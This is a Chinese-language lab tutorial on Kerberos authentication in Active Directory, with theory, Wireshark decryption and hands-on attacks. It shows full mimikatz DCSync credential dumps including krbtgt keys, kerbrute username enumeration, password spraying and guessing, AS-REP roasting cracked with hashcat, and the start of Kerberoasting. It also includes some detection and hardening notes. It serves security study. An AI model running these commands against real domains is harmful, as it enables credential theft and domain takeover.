Authentication Service Exchange.png

CVE-2020-17049: Kerberos Bronze Bit Attack – Theory

AS-REQ,客户端使用当前账户 NT Hash 加密(具体用什么加密方法需要跟服务器协商才能确定,AES256_HAMC_SHA1 密钥是用户名、密码和域名,RC4 密钥则是用户密码 NT Hash)Timetamp 发送到 AS。

AS-REP,AS 收到请求后根据用户名去 ntds.dit 中查找对应用户名 NT Hash,找到后解密 Timetamp 并验证有没超过一定时间范围用来判断有没重放攻击,两者都验证成功后返回 TGT、Session Key,其中 Session Key 拿用户密码 NT Hash 加密,TGT 使用 krbtgt 服务账户密码 NT Hash 加密(客户端没有 krbtgt 账户密码哈希不能解密,而且 krtgt 这个密码每个系统随机,不存在重用,否则就能篡改 TGT 可以成为任意用户)。

TGT 内容包含:

  • PAC(Privilege Attribute Certificate,微软对 Kerberos 扩展内容)

    • User RID,域用户 513,域管理员 512,架构管理员 518,企业管理员 519,组策略创建所有者 520
    • Group RID,简单标识用户归属组,Domain Users 为 513, Domain Coputers 为 515,Domain Controllers 为 516
    • Num RIDs,用户加入组的数量
    • GroupIDs,一个用户可能属于多个组,这里展示所有归属组的 ID
    • User Name,用户 SamAccountName
    • Full Name,用户 DispayName
    • ......
  • ServiceUserName
  • Session Key
  • Domain Name
  • Timetamp
  • TGT 有效期(默认 10 小时)
  • ......

第一步认证是要获取 TGT(Ticket Granting Ticket),要是没有后续的访问资源的需求,到这里认证就结束了。

TGS-REQ/TGS-REP AP-REQ/AP-REP 访问服务资源

二、向 TGS 授权,域账户要访问域内资源先请求授权。

Ticket-Granting Service Exchange.png

CVE-2020-17049: Kerberos Bronze Bit Attack – Theory

TGS-REQ,客户端向 TGS 发请求,内容包含 Timetamp(使用 AS-REP 返回的 Session Key 加密过)、UserName、TGT(提交的是 AS-REP 返回的 TGT)、SPN(指定你要访问的资源服务器)。

TGS-REP,TGS 收到请求,使用域服务账户 krbtgt 的 NT Hash 解密 TGT 取出 Session Key,解密 Timetamp,验证 SPN 在不在域内,验证 TGT 是否过期,验证 TGT 中用户名和 TGS 请求中用户名是否一致,验证 TGT 中 IP 和 TGS 请求 IP 是否一致,一切验证无误 TGS 向客户端返回 Session Key、SPN 和 ST。

Session Key 由 TGS 新生成,和 SPN 一起被 TGT 中 Session Key 加密,ST 是用服务账户(这个 SPN 有可能是域用户或是机器,看具体访问的是哪个服务)密码 NT Hash 加密,所有都加密完成后一起返回。

ST 内容包含:

  • TGS 新生成的 Session Key
  • PAC
  • UserName
  • Flags

    • Forwardable: 1
  • ......

第二步是要拿着 TGT 获取 ST(Service Ticket)。

三、访问服务获取资源

Client And Server Exchange.png

CVE-2020-17049: Kerberos Bronze Bit Attack – Theory

AP-REQ,客户端向资源服务器发送请求,内容包含 Timetamp(用 TGS Session Key 加密过)、UserName 以及 ST。

AP-REP,资源服务器收到请求,使用当前运行应用的服务账户密码 NT hash 解密 ST 获取 UserName 及 Session Key,先用 Session Key 解密时间戳,确认时间间隔不大没有重放攻击,再比对 ST 中 UserName 和 AP-REQ 中 UserName 是否一致,一切没问题则表示通过。最后检查 ST 中 PAC 与本地 ACL 资源进行比较,确认是否有权限使用(标准 Kerberos 没有 PAC 会把 ST 中 PAC 作为内容,发送 RPC 请求到 KDC 验证权限,通过响应状态码判断有没权限访问)。

第三步是真正访问服务,域内资源验证域账户是否有权访问。

对于标准的 Kerberos,微软在实现规范时还独自扩展的了 PAC 和 S4U,这些内容会在对应利用章节做介绍。

PAC
S4U
   S4U2proxy
   S4U2self

Wireshark 解密 Kerberos 通信流量

上面这些内容是认证的大概信息,用来熟悉认证流程很合适,请求和响应还有更多字段没有写上,这需要 Wireshark 抓包验证认证流程,补足相关细节。这个小节适合日后需要深入了解 Kerberos 细节再阅读,刚接触只需要了解大概即可,只是为了知识体系完整,所以放在了这里。

打开 Wireshark 后抓包,使用 Rubeus 发起 AS-REQ 获取域用户 zhangqi 的 TGT,接着访问一台加过域的机器 pc-02.raingray.com 的 CIFS 服务,此时会自动发起 TGS-REQ 获取此服务的 ST 凭证,随后自动发起 AP-REQ 请求完成服务访问。

C:\Users\wuhui\Desktop>Rubeus.exe asktgt /user:zhangqi /password:123!@#qweQWE /domain:raingray.com /dc:192.168.37.1 /nowrap /ptt

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.2.3

[*] Action: Ask TGT

[*] Using rc4_hmac hash: 8FAF590241A5D5ED59FB80EB00440589
[*] Building AS-REQ (w/ preauth) for: 'raingray.com\zhangqi'
[*] Using domain controller: 192.168.37.1:88
[+] TGT request successful!
[*] base64(ticket.kirbi):

      doIFCDCCBQSgAwIBBaEDAgEWooIEHjCCBBphggQWMIIEEqADAgEFoQ4bDFJBSU5HUkFZLkNPTaIhMB+gAwIBAqEYMBYbBmtyYnRndBsMcmFpbmdyYXkuY29to4ID1jCCA9KgAwIBEqEDAgECooIDxASCA8BAVZFKuKN9i4RDi0TAiMckupDbtE3DxPw/0JjBI5GFPpuMnixpjCL9/jvhJgMJh3tadSUBTUwsY/Sv+z3sqfTjkNxSLL3mcTpidu3vnFlvCwjeXegNdy2sR1T7XCyB5xeXXsIn0EdEIvnrzk++iOJqUkSLfNDhROHxuhuwu0/9G0fLQVQFFR59f2AyYzu+Naha+0He8fGePoRZ/2mAOQvOyOCAnwYlOXgwePL+LFgHt98+47XVLc6PioFz7A+gy667ClMd4HAB77m88T7RxhwkvXEBTN5ObNbX4a+mG804AoGCkIfCuAvPlPWSVxOzWf922mYvWIVihBKBsRdLHv+I2mcpMX1iKwWDX4jgjQiyNHBZtCMyzQGR7ljW8k4xS1G+rORt/sj7LHBPr7n6tgFOru5M5dbMLip5F5fv6jMHWq7MK/N0lS/fLl/jVP8y3FnAmFHtfF5Q3+whWHZPmt9+ryn0zzgEiOSmRnpSEDdnZu5hbFNQn2+qnRmr5F3iBcZp/7nY5CraSHy+29/uh6q3CuPA7D9WkChQP3nZLLXWKkB+YYBdM8uj697NOQeTsuZb1ySMvFu7OF/T25+yonHxjs3ruajMYiUo8nfKTV9PHbPZP40iQx+/9kpc8AxOKw8wNBH3/xi9Y39xnUPV4mWacS9rAjgLPhnjNDH8t3/7KOUiR83vaw7GoYWk1Um7bDQ68rZCVguEmi28tJ0ttic8XwdjauMK24ZTAATA268rCWaangfdAH9B+VwBX0U1DTX76vp3H6AqBBCTH/9zD36hXncCiRTJ2jBpcXHfPNxGbKZKl4u3iELXnBVEE6FwsNwzpNdgPenIgo5hYBfc99096CeLgIC/6KzB21gC9GTHARYIga6WkvFQ72qB6oHWbfRh6boetQSWhwJOmi6zULOpn6XclW0dtEk6tEAe3MmiW8unWKGsTUzL4KuMHqq68BEKp+56KA5ey/gO6mNNqWzQaeakJvpfJEARLQoASK/l8NlgqVBLDpxmpHVC7M8zLmNt54ENwWzAgLzO7m/DZd6mSsdi9BOn5trYct43mL25o4WTMFbGE3o9EpFFtvldkrx6cBzcwGfPC/If3Pkg9DworX1z5pTZNiuiDD7V29XMzAemEXjluzYQinBaIm9zQO3iHda9s39DZRw5ezRSo+pnqgl0HxBf3Enjb0rmNzRNmy+JgO+3Vut/Gy0h37U6q9eGJuwl271yU1YcNFimEXAdnxXwy5HCQtIW6vJJosrl0Mv47mm5d9VsaZuaHOlfM0+jgdUwgdKgAwIBAKKBygSBx32BxDCBwaCBvjCBuzCBuKAbMBmgAwIBF6ESBBA2mEZjdieJrTZvqI4Rfg4loQ4bDFJBSU5HUkFZLkNPTaIUMBKgAwIBAaELMAkbB3poYW5ncWmjBwMFAEDhAAClERgPMjAyNTA0MTgwNzA4MzFaphEYDzIwMjUwNDE4MTcwODMxWqcRGA8yMDI1MDQyNTA3MDgzMVqoDhsMUkFJTkdSQVkuQ09NqSEwH6ADAgECoRgwFhsGa3JidGd0GwxyYWluZ3JheS5jb20=
[+] Ticket successfully imported!

  ServiceName              :  krbtgt/raingray.com
  ServiceRealm             :  RAINGRAY.COM
  UserName                 :  zhangqi
  UserRealm                :  RAINGRAY.COM
  StartTime                :  2025/4/18 15:08:31
  EndTime                  :  2025/4/19 1:08:31
  RenewTill                :  2025/4/25 15:08:31
  Flags                    :  name_canonicalize, pre_authent, initial, renewable, forwardable
  KeyType                  :  rc4_hmac
  Base64(key)              :  NphGY3Ynia02b6iOEX4OJQ==
  ASREP (key)              :  8FAF590241A5D5ED59FB80EB00440589


C:\Users\wuhui\Desktop>hostname
PC-01

C:\Users\wuhui\Desktop>dir \\pc-02.raingray.com\c$
 驱动器 \\pc-02.raingray.com\c$ 中的卷没有标签。
 卷的序列号是 12C8-9D4E

 \\pc-02.raingray.com\c$ 的目录

2025/03/28  13:58    <DIR>          mimikatz_trunk
2019/12/07  17:14    <DIR>          PerfLogs
2023/12/02  19:53    <DIR>          Program Files
2023/08/31  23:09    <DIR>          Program Files (x86)
2025/03/28  13:55    <DIR>          Users
2025/04/16  10:13    <DIR>          Windows
               0 个文件              0 字节
               6 个目录 42,744,074,240 可用字节

C:\Users\wuhui\Desktop>klist

当前登录 ID 是 0:0x315026

缓存的票证: (2)

#0>     客户端: zhangqi @ RAINGRAY.COM
        服务器: krbtgt/raingray.com @ RAINGRAY.COM
        Kerberos 票证加密类型: AES-256-CTS-HMAC-SHA1-96
        票证标志 0x40e10000 -> forwardable renewable initial pre_authent name_canonicalize
        开始时间: 4/18/2025 15:08:31 (本地)
        结束时间:   4/19/2025 1:08:31 (本地)
        续订时间: 4/25/2025 15:08:31 (本地)
        会话密钥类型: RSADSI RC4-HMAC(NT)
        缓存标志: 0x1 -> PRIMARY
        调用的 KDC:

#1>     客户端: zhangqi @ RAINGRAY.COM
        服务器: cifs/pc-02.raingray.com @ RAINGRAY.COM
        Kerberos 票证加密类型: AES-256-CTS-HMAC-SHA1-96
        票证标志 0x40a10000 -> forwardable renewable pre_authent name_canonicalize
        开始时间: 4/18/2025 15:09:01 (本地)
        结束时间:   4/19/2025 1:08:31 (本地)
        续订时间: 4/25/2025 15:08:31 (本地)
        会话密钥类型: AES-256-CTS-HMAC-SHA1-96
        缓存标志: 0
        调用的 KDC: DC-BEIJING-01.raingray.com

C:\Users\wuhui\Desktop>

此时抓到的包 “Kerberos 协议访问 CIFS 服务完整认证流程.pcapng”,里面数据还是加密的,无法阅读。需要先在域控上可以用 Mimikatz 或 impacket-secretsdump 执行 DCSync 获取 krbtgt、PC-02$、zhangqi 这几个用户的 AES Key 和 NT Hash 来制作 keytab 解密文件。为什么就非得要这几个用户,我获取其他用户的不行?根据加密流程来说 zhangqi 发起的 AS-REQ 获取 TGT,肯定得拿 zhangqi 的密钥来解密 AS-REQ 时间戳,别人的也解不开啊,添加 KRBTGT 密钥则是来解密 AS-REP 的 TGT,机器账户 PC-02$ 的密钥是用来解密 TGS-REP 的 ST,这个服务是 CIFS 所以是 PC-02$ 机器账户。

PS C:\Users\Administrator\Desktop\mimikatz_trunk\x64> .\mimikatz.exe

  .#####.   mimikatz 2.2.0 (x64) #19041 Sep 19 2022 17:44:08
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz # lsadump::dcsync /user:raingray\krbtgt
[DC] 'raingray.com' will be the domain
[DC] 'DC-BEIJING-01.raingray.com' will be the DC server
[DC] 'raingray\krbtgt' will be the user account
[rpc] Service  : ldap
[rpc] AuthnSvc : GSS_NEGOTIATE (9)

Object RDN           : krbtgt

** SAM ACCOUNT **

SAM Username         : krbtgt
Account Type         : 30000000 ( USER_OBJECT )
User Account Control : 00000202 ( ACCOUNTDISABLE NORMAL_ACCOUNT )
Account expiration   :
Password last change : 2023/11/27 16:01:06
Object Security ID   : S-1-5-21-247606177-2237963610-2667746150-502
Object Relative ID   : 502

Credentials:
  Hash NTLM: a745d3348cdce010cc3e2ca0b1fbb79f
    ntlm- 0: a745d3348cdce010cc3e2ca0b1fbb79f
    lm  - 0: bb7a284d27e69ea3ba47a79bfe168a79

Supplemental Credentials:
* Primary:NTLM-Strong-NTOWF *
    Random Value : 69e37737e515fe8d681747b316609908

* Primary:Kerberos-Newer-Keys *
    Default Salt : RAINGRAY.COMkrbtgt
    Default Iterations : 4096
    Credentials
      aes256_hmac       (4096) : 0649170e427cb847522fbe0ea8780e15f8c67fa94d862f7fbed262f1d65a5ef7
      aes128_hmac       (4096) : db9ae467c7901c53bccadc6a8d96cb8f
      des_cbc_md5       (4096) : f8202cbcc79ea4bc
......

mimikatz # lsadump::dcsync /user:raingray\PC-02
[DC] 'raingray.com' will be the domain
[DC] 'DC-BEIJING-01.raingray.com' will be the DC server
[DC] 'raingray\PC-02' will be the user account
[rpc] Service  : ldap
[rpc] AuthnSvc : GSS_NEGOTIATE (9)
ERROR kull_m_rpc_drsr_CrackName ; CrackNames (name status): 0x00000002 (2) - ERROR_NOT_FOUND

mimikatz # lsadump::dcsync /user:raingray\PC-02$
[DC] 'raingray.com' will be the domain
[DC] 'DC-BEIJING-01.raingray.com' will be the DC server
[DC] 'raingray\PC-02$' will be the user account
[rpc] Service  : ldap
[rpc] AuthnSvc : GSS_NEGOTIATE (9)

Object RDN           : PC-02

** SAM ACCOUNT **

SAM Username         : PC-02$
Account Type         : 30000001 ( MACHINE_ACCOUNT )
User Account Control : 00001000 ( WORKSTATION_TRUST_ACCOUNT )
Account expiration   :
Password last change : 2025/3/24 15:28:27
Object Security ID   : S-1-5-21-247606177-2237963610-2667746150-1110
Object Relative ID   : 1110

Credentials:
  Hash NTLM: 17f7eb83b047c1315a8e368dc1466a02
    ntlm- 0: 17f7eb83b047c1315a8e368dc1466a02
    ntlm- 1: 4362363dfa0a585ca6ba884e28c16741
    ntlm- 2: 26a9dff54ad832a4dcbe380202c6baa6
    ntlm- 3: eb4816222482c71c75e635d11d32e7db
    ntlm- 4: a8830ef519b73028d964e7e1db79539f
    lm  - 0: 1e2ef98d758a8987498d5d15f90e98d7
    lm  - 1: 3870d3b82944b6b054a3fea1a702233e
    lm  - 2: 386b31cd65917c488ca7525d237ec28f
    lm  - 3: 2edb18cda5175c758b376d9dd1a0a1f7
    lm  - 4: e47c75d5a11a26e1fdecf7935f139271

Supplemental Credentials:
* Primary:Kerberos-Newer-Keys *
    Default Salt : RAINGRAY.COMhostpc-02.raingray.com
    Default Iterations : 4096
    Credentials
      aes256_hmac       (4096) : 5651083d67808524cc1f372e2f34266aea3a72745132dc6f6dcb1f7dcea0d35e
      aes128_hmac       (4096) : 6c0ad02e3899e44abb3e539e658beeb4
      des_cbc_md5       (4096) : e0da263ee6103207
    OldCredentials
      aes256_hmac       (4096) : f006d89ffdb97308670b1f475fc8efacae5f78b530e580b828b50f229828556e
      aes128_hmac       (4096) : 7e9f5d0cc98d1b62f1398667ae5f0d27
      des_cbc_md5       (4096) : 08d35791ad043876
    OlderCredentials
      aes256_hmac       (4096) : bbfc3fed9c755886e03fdde169a8d0f404208a0073388356fc0bf2173ca45a0d
      aes128_hmac       (4096) : f97562344d7dbefc87591f6bf98a6c02
      des_cbc_md5       (4096) : e937081f6138d3d0
......

mimikatz # lsadump::dcsync /user:raingray\zhangqi
[DC] 'raingray.com' will be the domain
[DC] 'DC-BEIJING-01.raingray.com' will be the DC server
[DC] 'raingray\zhangqi' will be the user account
[rpc] Service  : ldap
[rpc] AuthnSvc : GSS_NEGOTIATE (9)

Object RDN           : zhangqi

** SAM ACCOUNT **

SAM Username         : zhangqi
User Principal Name  : zhangqi@raingray.com
Account Type         : 30000000 ( USER_OBJECT )
User Account Control : 00010200 ( NORMAL_ACCOUNT DONT_EXPIRE_PASSWD )
Account expiration   :
Password last change : 2023/11/28 22:55:37
Object Security ID   : S-1-5-21-247606177-2237963610-2667746150-1107
Object Relative ID   : 1107

Credentials:
  Hash NTLM: 8faf590241a5d5ed59fb80eb00440589
    ntlm- 0: 8faf590241a5d5ed59fb80eb00440589
    ntlm- 1: 00affd88fa323b00d4560bf9fef0ec2f
    lm  - 0: 7cfce56b039c5f37038ece399bce5839
    lm  - 1: b03fd41041e4704eacc903bf757d467b

Supplemental Credentials:
* Primary:NTLM-Strong-NTOWF *
    Random Value : 85e1d0a9e378aed88861d18747bf3d62

* Primary:Kerberos-Newer-Keys *
    Default Salt : RAINGRAY.COMtest
    Default Iterations : 4096
    Credentials
      aes256_hmac       (4096) : 3f1d6a42e7ff77dd80c055ad886b06d925f643685ad93d4dbfe61a2cce5b5aed
      aes128_hmac       (4096) : d712b625c30a57ea05a0d13318a147b6
      des_cbc_md5       (4096) : fef2b967df4a8f01
    OldCredentials
      aes256_hmac       (4096) : 23b1e2e39582e586362572d6421f6db37cf6548e8285a2966f208a8bb026f63a
      aes128_hmac       (4096) : 33a567a434aa5f87dc971d471a9869d8
      des_cbc_md5       (4096) : 2c6894203126192f
......

有了凭证后,下载 dirkjanm 的 keytab.py 脚本,编辑 112 行按照注释要求添加 zhangqi、krbtgt、PC-02$ 几个 AES Key 和 NT hash。

# Add your own keys here!
# Keys are tuples in the form (keytype, 'hexencodedkey')
# Common keytypes for Windows:
# 23: RC4
# 18: AES-256
# 17: AES-128
# Wireshark takes any number of keys in the keytab, so feel free to add
# krbtgt keys, service keys, trust keys etc
keys = [
    (23, 'a745d3348cdce010cc3e2ca0b1fbb79f'), # KRBTGT
    (18, '0649170e427cb847522fbe0ea8780e15f8c67fa94d862f7fbed262f1d65a5ef7'), # KRBTGT
    (17, 'db9ae467c7901c53bccadc6a8d96cb8f'), # KRBTGT
    (23, '8faf590241a5d5ed59fb80eb00440589'), # zhangqi
    (18, '3f1d6a42e7ff77dd80c055ad886b06d925f643685ad93d4dbfe61a2cce5b5aed'), # zhangqi
    (17, 'd712b625c30a57ea05a0d13318a147b6'), # zhangqi
    (23, '17f7eb83b047c1315a8e368dc1466a02'), # PC-02$
    (18, '5651083d67808524cc1f372e2f34266aea3a72745132dc6f6dcb1f7dcea0d35e'), # PC-02$
    (17, '6c0ad02e3899e44abb3e539e658beeb4') # PC-02$
]

内容填写完成后需要在已经安装 impacket 的环境下执行脚本生成 keytab file,这里我是在 Kali 下运行的,因为它自带此工具。

┌──(root㉿raingray)-[~/Desktop]
└─# python3 keytab.py keytab.bin

┌──(root㉿raingray)-[~/Desktop]
└─# ls
keytab.bin  keytab.py

右键打开 Kerberos 协议首选项,或者快捷键 Ctrl+Shit+P 打开 Wireshark 首选项 -> Proctol -> KRB5。

Wireshark Kerberos5 首选项.png

选择刚刚生成的 “keytab.bin”,并勾选 “Try to decrypt Kerberos blobs”,就可以完成解密。

Wireshark Kerberos5 首选项配置.png

这里背景色显示蓝色的字段就是解密后的字段。

流量解密后图例.png

如果是黄色则是解密失败,而且失败会告诉你什么原因,这里就显示的是 “Missing keytab 23......”,说明缺少 NT Hash,而 AS-REQ 时间戳就是拿这个用户 Hash 加密的,就要去找对应用户的 NT Hash 重新生成 keytab 文件完成解密。

流量解密失败图例.png

本小节解密内容参考以下文章:

3.2 AS-REQ Username Enumeration

正常发送 AS-REQ 这个叫预认证请求(Pre-Authentication),会带上 padata 加密的预认证数据时间戳 pA-ENC-TIMESTAMP 和 req-body 一些域名和用户名信息,而用户名枚举的请求不带 padata 加密数据发送。这里我提供两个流量包用于对比:

从下图流量中可以看到枚举用户名的请求就不带 padata 数据,而正常的则携带。

kerbrute 用户名枚举 AS-REQ 请求对比.png

KDC 的 AS 服务收到请求后,会根据 req-body 中的用户名和 padata 进行认证检查,有错误就返回错误信息:

  • KDC_ERR_PREAUTH_REQUIRED,用户存在。由于没有发送加密数据,所以要求重新做预认证带上缺失的参数
  • KDC_ERR_CLIENT_REVOKED,用户存在账户锁定或禁用,具体错误还是要看 NT Status 的值查 Windows 错误代码表
  • KDC_ERR_C_PRINCIPAL_UNKNOWN,用户不存在

因此只要滞空 padata 轮换 req-body 的用户名,就可以按照返回的错误信息猜测用户是否存在。

kerbrute 工具枚举用户名用法比较简单,首先准备字典 user.txt

zhangqi
administratorsazzzz
wuhui
join-domain
wusilin

后面使用 -d 指定域控域名 FQDN,--dc 指定域控 IP,user.txt 是枚举的用户名字典,默认是使用 10 线程运行(-t 可以指定线程),-o 是保存输出结果。

PS C:\Users\wuhui\Desktop> .\kerbrute_windows_amd64.exe userenum --dc 192.168.37.1 -d raingray.com users.txt -o valid-username.txt

    __             __               __
   / /_____  _____/ /_  _______  __/ /____
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/

Version: v1.0.3 (9dad6e1) - 02/24/25 - Ronnie Flathers @ropnop

2025/02/24 13:08:21 >  Using KDC(s):
2025/02/24 13:08:21 >   192.168.37.1:88
2025/02/24 13:08:21 >  [+] VALID USERNAME:       zhangqi@raingray.com
2025/02/24 13:08:21 >  Done! Tested 5 usernames (1 valid) in 0.005 seconds

PS:kerbrute 工具 --dc 是可选项,主动使用 --dc 指定域名 IP 可以减少域名 A 记录的 DNS 查询。下面提供两个请求包用于实际查看请求发送前的 DNS 解析过程。

Kerberos-UserEnumeration 没有 --dc 选项.pcapng
Kerberos-UserEnumeration 有 --dc 选项.pcapng

枚举完成后,按理说会在事件管理器 “安全” 中看到大量 ID 为 4768 的事件,我 Windows Server 2019 版本是 10.0.17763.1339 并没有看到。

有人说要主动开启 Kerberos 日志记录,也启用过并没有记录。

C:\Users\Administrator>REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Kerberos\Parameters

C:\Users\Administrator>REG ADD HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Kerberos\Parameters /v LogLevel /t REG_DWORD /d 0x1 /f
操作成功完成。

C:\Users\Administrator>REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Kerberos\Parameters

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Kerberos\Parameters
    LogLevel    REG_DWORD    0x1

3.3 AS-REQ Password Spraying And Passowrd Guessing

发送 AS-REQ 请求,整个过程和细节都很清楚,就是拿着 NT hash 加密时间戳,而且这个 NT hash 计算方式也是公开的,假如我们前面已经通过枚举获取到了有效的域账户名称,那么就可以自己加密时间戳来观察 AS-REP,只要成功获得 TGT 就证明认证成功,报错 KDC_ERR_PREAUTH_FAILED 是密码不正确。

在同样 Windows Server 事件查看器 “安全” 也会记录事件 ID,认证成功将产生事件 4768,认证失败产生 4771。经过本地测试和前面枚举环境一致,爆破失败了没有发现日志,只有成功了有日志。

喷洒工具仍然使用 kerbrute。在执行操作之前要先确认先当前环境锁定策略是什么样的,在域控上 gpedit.msc 组策略中可以对所有域账户设置锁定限制,用 net accounts /do 可以查询域账户的锁定策略,net account 可以查询本地锁定策略,如果这个机器加了域,就会显示域推送的锁定策略,因此两种方法都可以

C:\Windows\system32>net accounts /domain
这项请求将在域 raingray.com 的域控制器处理。

强制用户在时间到期之后多久必须注销?:     从不
密码最短使用期限(天):                    1
密码最长使用期限(天):                    42
密码长度最小值:                          7
保持的密码历史记录长度:                  24
锁定阈值:                                3
锁定持续时间(分):                        30
锁定观测窗口(分):                        30
计算机角色:                              PRIMARY
命令成功完成。

这里就写到,在 “锁定观测窗口(分)” 时间 30 分钟内,达到 “锁定阈值” 设置的登录失败次数 3 次就按照 “锁定持续时间(分)” 锁定 30 分钟。这个 “锁定观测窗口(分)” 意思是,哪怕 30 分钟内只锁定 2 次,过了这个等待时长,错误次数就会清零。

1.密码喷洒

对 users.txt 每行的用户名使用 123!@#qweQWE 登录。

PS C:\Users\wuhui\Desktop> .\kerbrute_windows_amd64.exe passwordspray --dc 192.168.37.1 -d raingray.com users.txt 123!@#qweQWE

    __             __               __
   / /_____  _____/ /_  _______  __/ /____
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/

Version: v1.0.3 (9dad6e1) - 02/24/25 - Ronnie Flathers @ropnop

2025/02/24 17:39:53 >  Using KDC(s):
2025/02/24 17:39:53 >   192.168.37.1:88
2025/02/24 17:39:53 >  [+] VALID LOGIN:  zhangqi@raingray.com:123!@#qweQWE
2025/02/24 17:39:53 >  [+] VALID LOGIN:  wusilin@raingray.com:123!@#qweQWE
2025/02/24 17:39:53 >  Done! Tested 5 logins (2 successes) in 0.038 seconds

这里也用 WireShark 抓取了流量:Kerberos- 密码喷洒流量.pcapng

根据抓包结果来看,kerbrute 喷洒逻辑仍然是先确认用户是否存在,只有确定存在才会进行喷洒,还存在优化空间。比如这里可以看到 No.11 administrator 用户存在,后续发送请求,No.17 响应包 KDC 返回了 error-code: 24,将十进制 24 转成十六进制 0x18,搜索对应错误代码发现是密码错误。

2.密码猜解

使用 password.txt 字典猜测域账户 zhangqi 的密码。

PS C:\Users\wuhui\Desktop> .\kerbrute_windows_amd64.exe bruteuser --dc 192.168.37.1 -d raingray.com password.txt zhangqi


    __             __               __
   / /_____  _____/ /_  _______  __/ /____
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/

Version: v1.0.3 (9dad6e1) - 02/24/25 - Ronnie Flathers @ropnop

2025/02/24 21:47:23 >  Using KDC(s):
2025/02/24 21:47:23 >   192.168.37.1:88
2025/02/24 21:47:23 >  [+] VALID LOGIN:  zhangqi@raingray.com:123!@#qweQWE
2025/02/24 21:47:23 >  Done! Tested 6 logins (1 successes) in 0.250 seconds
PS C:\Users\wuhui\Desktop>

对 kerbrute 爆破密码过程抓包 Kerberos-密码猜解.pcapng,发现和前面逻辑一样,也是先确认用户是否存在,在用户存在的情况下再爆破密码,只要返回 TGT 就认为爆破成功,失败和前面判断逻辑 一样也是返回 error_code: 24。

3.4 AS-REP Roasting

利用前提需要主动给域用户禁用预认证。

禁用预身份验证.png

原理是 AS-REP 响应中返回的 Session Key 是用这个域用户 NT Hash 加密,我们在本地不断用字典尝试解密最终获得明文。

.\Rubeus.exe asreproast /format:hashcat /user:<User Name> [/domain:<Domain Name>] /nowrap
PS C:\Users\bunny\desktop> .\Rubeus.exe asreproast /format:hashcat /user:moretz /nowrap

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.2.3


[*] Action: AS-REP roasting

[*] Target User            : moretz
[*] Target Domain          : whoamianony.org

[*] Searching path 'LDAP://DC.whoamianony.org/DC=whoamianony,DC=org' for '(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=4194304)(samAccountName=moretz))'
[*] SamAccountName         : moretz
[*] DistinguishedName      : CN=moretz,OU=IT,DC=whoamianony,DC=org
[*] Using domain controller: DC.whoamianony.org (192.168.93.30)
[*] Building AS-REQ (w/o preauth) for: 'whoamianony.org\moretz'
[+] AS-REQ w/o preauth successful!
[*] AS-REP hash:


$krb5asrep$23$moretz@whoamianony.org:653C184951327F2DDA3380550E2847E1$30E6F7AF1973D4B9160EF28AEBC79F0F4594CB889166538A0D8B58A1A13E6A0C5C9B9938C22A64031CF429463C580A55C9468233
2DEC6F784DF009EF6C1371EDBE1BF748FC7EE2EC7628B14C7AF11E20490F370413ECFC441485769280A759A3AF053002239FFA904A7260B11F9A6DF57D1C23ED8D3A5532A838594816A24270DF42186D5BCFFEDB5F8770F49BAB
8D9FEAD94CC7C721F4434648650D1962550BFA7DDB02BDDE6174807423FFFF4B08FD46ECA4F6DC608F5760F2E98629963F6EB21C23933F21FBE023DEED71C6865AA97720998B2C3E2E7C51581E1D5B541AA76113D5BAB024CC32
C9E24042F5A2D0C4858B

hashcat 用字典爆破。

hashcat -m 18200 '$krb5asrep$23$moretz@whoamianony.org:653C184951327F2DDA3380550E2847E1$30E6F7AF1973D4B9160EF28AEBC79F0F4594CB889166538A0D8B58A1A13E6A0C5C9B9938C22A64031CF429463C580A55C9468233
2DEC6F784DF009EF6C1371EDBE1BF748FC7EE2EC7628B14C7AF11E20490F370413ECFC441485769280A759A3AF053002239FFA904A7260B11F9A6DF57D1C23ED8D3A5532A838594816A24270DF42186D5BCFFEDB5F8770F49BAB
8D9FEAD94CC7C721F4434648650D1962550BFA7DDB02BDDE6174807423FFFF4B08FD46ECA4F6DC608F5760F2E98629963F6EB21C23933F21FBE023DEED71C6865AA97720998B2C3E2E7C51581E1D5B541AA76113D5BAB024CC32
C9E24042F5A2D0C4858B' dict.txt -o krb5asrep-plaintext.txt

hashcat -a 0 -m 18200 krb5asrep-plaintext.txt dict.txt

防范 AS-REP Roasting 可以设置组策略中密码复杂度相关策略,让破解难度增大,另一个是排查域内哪些域用户开启 “禁用预认证” 选项。

3.5 Kerberoasting

域用户设置了 SPN,在完成 AS 认证后发起 TGS-REQ,在 TGS-REP 阶段返回 Service Ticket,由于 Service Ticket 使用服务账户 NTLM 哈希加密,可以离线枚举,如果运气好就可能得到明文,这就是 Kerberoasting 攻击。

它利用条件是需要一个有效的域用户才能进行攻击。

rubeus kerberoast /format:hashcat /user:<UserName> /nowrap

对指定域内开启了 SPN 用户 Kerberoasting 攻击。

